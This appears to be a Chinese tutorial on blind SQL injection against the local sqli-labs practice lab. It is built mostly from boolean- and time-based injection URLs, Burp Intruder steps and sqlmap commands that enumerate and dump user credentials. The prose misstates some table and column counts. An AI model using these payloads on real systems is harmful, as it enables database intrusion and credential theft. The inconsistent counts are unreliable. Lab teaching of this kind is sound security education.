1. 程式人生 > 其它 >3. web安全之sql注入(3)

3. web安全之sql注入(3)

sql注入—盲注

            sql注入之盲注

  • 目錄

  • 盲注原理

  • 布林盲注

  • 時間盲注

  • sqlmap盲注


一. 盲注原理


1. 盲注應用場景

盲注常用於與資料庫互動無詳細回顯的地方;布林盲注根據頁面返回值的正常/不正常(對/錯)進行注入;時間盲注根據延時函式sleep的延時時間進行注入;

2. 盲注語句解析

布林盲注常用語句:select id,username,password from users where id='1' and length(database())=8

這裡重要的and ;由於and如果為真;則需要左右為真。所以當右邊length(database())=x成立時,就會回顯正常的頁面,當右 邊length(database())=x不成立時,就會返回錯誤的頁面;布林盲注就是根據對/錯進行盲注

3. 盲注原始碼解析

檢視sqli-labs-master第八關原始碼

mysql_quert函式:執行一條mysql查詢

mysql_fetch_array函式:從結果集中取得一行作為關聯陣列,或數字陣列

可以看到其中主要就是傳入一個get變數$id,然後再執行一條sql語句:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"

然後再進行if判斷;如果sql語句存在回顯則輸出You are in... ...;如果不存在回顯則輸出  ;也就是sql語句正確則輸出You are in... ...;sql語句錯誤則什麼都不輸出;

4. 盲注常用函式

length()        查詢指定字串字元數

ascii()         將指定字元轉化為ascii碼

mid(data,start,leng)   擷取指定長度的字串

sleep()         延時時間輸出

count()         查詢數目(個數) 

if()           條件判斷語句

二. 布林盲注

靶機:sqli-labs-master第八關


1. 查詢注入點

?id=1' and 1=1-- -    正確;?id=1' and 1=2-- -    錯誤

2. 查詢資料庫

(1)查詢資料庫名字元數

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8-- -

查詢出來字元數為8

(2)查詢資料庫名第一個字元

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(mid(database(),1,1))=115-- -

根據ascii碼進行對比得出第一個字元為s

ascii對照表——ASCII碼一覽表,ASCII碼對照表 (biancheng.net)

後面的直接使用burp爆破就可以了

burp爆破步驟:

1)設定代理;攔截資料包

2)轉發進intruder(快捷鍵Ctrl+l)

3)設定爆破位置(變數)

4)選擇payloads進行配置字典

第一個引數

第二個引數

5)進行爆破;挑選出尋在回顯的引數;

根據位置和ascii數值,很容易得出資料庫名為security

3. 查詢資料表

(1)查詢資料表數目

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(table_name) from information_schema.tables where 
table_schema='security')=4-- -

得到security資料庫下屬表個數為5

(2)查詢第一個表字符數

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select length(table_name) from information_schema.tables where 
table_schema='security' limit 0,1)=6-- -

得出第一個表字符數為6

(3) 查詢第一個表的第一個字元

其餘字元類似改變mid函式起始位;其餘表類似改變limit函式起始位;得出存在users表

4. 查詢欄位

(1)查詢users表字段數目

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(column_name) from information_schema.columns where 
table_name='users' and table_schema='security')=3-- -

查詢得到users表下面有3個欄位

(2)查詢第一個欄位的字元數

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select length(column_name) from information_schema.columns 
where table_name='users' and table_schema='security' limit 0,1)=2-- -

可以得出第一個欄位欄位數為2  

(3)查詢第一個欄位的第一個字元

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(mid((column_name),1,1)) from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)=105-- -

得出第一個欄位的第一個字元為 i

同理;可得第二個字元為d;第二個表為username;第三個表為password

5. 查詢資料

(1)查詢資料字元數

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select length(concat(id,0x7e,username,0x7e,password)) from users limit 0,1)=11-- -

得到第一個(id~username~password)的字元數為11

(2)查詢資料字元

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(mid((concat(id,0x7e,username,0x7e,password)),1,1)) from users 
limit 0,1)=49-- -

得到第一個字元數為1

其餘依舊上面的例子可以得出所有資料

3. 時間盲注

靶機:sqli-labs-master第九關

時間盲注和布林盲注的唯一區別:布林盲注根據回顯判斷對錯;時間盲注根據時間延時判斷對錯

1. 查詢注入點

發現mysql有個特性:

只要如果查詢為數字,主要第一個數字和資料庫匹配;且後面不加數字;其餘任何字元無影響(只對於數字索引)

發現第九題無論輸入何值,都返回固定的數值;所以布林盲注不能使用;只能使用延時盲注判斷注入點

 ?id=1' and if(1=1,sleep(0),sleep(5))-- - 時,延時較短2s;?id=1' and if(1=2,sleep(0),sleep(5))-- - 時,延時較長7s

存在注入點,且閉合符號‘

2. 查詢資料庫

(1)查詢資料庫字元數

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select length(database()))=8,sleep(5),sleep(0))-- -

當等於8時延時較長;所以資料庫字元數為8

(2)查詢資料庫第一個字元

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select ascii(mid(database(),1,1)))=115,sleep(5),sleep(0))-- -

當第一個字元ascii碼為115時,延時較長;所以資料庫第一個字元為s

之後同理,改變mid函式起始位的位置,可以得出資料庫名為security

3. 查詢表

(1)查詢security下表個數

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where 
table_schema='security')=4,sleep(5),sleep(0))-- -

當表格數為4時延時較長;所以security資料庫下有4個表

(2)查詢第一個表字符數

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select length(table_name) from information_schema.tables where 
table_schema='security' limit 0,1)=6,sleep(5),sleep(0))-- -

當字元數為6時,延時較長,所以第一個表字符數為6

(3)查詢第一表第一個字元

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select ascii(mid((table_name),1,1)) from information_schema.tables 
where table_schema='security' limit 0,1)=101,sleep(5),sleep(0))-- -

當第一個數ascii碼為101時,延時較長;所以第一個表第一個字元為e

安裝上面的格式查,可以查到4個表中有一個users的表

4. 查詢欄位

(1)查詢users表下面的欄位數目

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where 
table_name='users' and table_schema='security')=3,sleep(5),sleep(0))-- -

查詢出users表下面存在5個欄位

(2)查詢users表第一個欄位字元數

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select length(column_name) from information_schema.columns 
where table_name='users' and table_schema='security' limit 0,1)=2,sleep(5),sleep(0))-- -

第一個欄位字元數為2

(3)查詢第一個欄位的第一個字元

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select ascii(mid(column_name,1,1)) from information_schema.columns 
where table_name='users' and table_schema='security' limit 0,1)=105,sleep(5),sleep(0))-- -

第一個欄位的第一個字元為i 

依舊上面的套路可以得出全部欄位:id username password

5. 查詢資料

(1)查詢第一列資料字元數

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select length(concat(id,0x7e,username,0x7e,password)) from users 
limit 0,1)=11,sleep(5),sleep(0))-- -

說明第一列的id~username~password組合為11個字元

查詢第一列的第一個字元

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select ascii(mid(concat(id,0x7e,username,0x7e,password),1,1)) from users 
limit 0,1)=49,sleep(5),sleep(0))-- -

得出第一列第一個字元為1

依次可得出第一列的全部字元為:1~Dumb~Dumb

sqlmap工具盲注


1. sqlmap常用引數

-u      指定url

-p      指定注入引數

-D      指定資料庫名

-T      指定表名

-C      指定列名

--dbs     查詢所有資料庫名

--current-db  查詢當前資料庫名

--tables    查詢所有表

--columns   查詢所有列

--batch     自動化預設操作

-r       指定路徑          burp抓到的包指定路徑(適合post;有cookie;免驗證)

--forms     自動識別post表單引數    適合無登入的url,或手動新增cookie

--cookie    指定cookie

--technique Q  指定注入方式為內聯查詢

--technique B  指定注入方式為布林盲注

--technique T  指定注入方式為時間盲注

--technique U  指定注入方式為聯合查詢

2. sqlmap布林盲注

靶機:sqli-labs-master 第8關

攻擊機:127.0.0.1

(1)查詢是否存在注入點

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --batch

 查詢得出id是基於布林的可注入點

(2)查詢當前資料庫名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch

(3)查詢表名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security --tables --batch


(4)查詢欄位名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security -T users --columns --batch

  

(5)查詢資料

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security -T users -C username --dump --batch

3. sqlmap時間盲注

靶機:sqli-labs-master 第九關

時間盲注與布林盲注相同,不過需要將 --technique B 換為 --technique T

(1)查詢是否存在注入點

(2)查詢資料庫名

(3)查詢表名

(4)查詢欄位名

(5)查詢資料

sqlmap -u "127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T -D security -T users -C username --dump --batch

  

注入的太慢不想等了;不過時間足夠長是可以注入成功的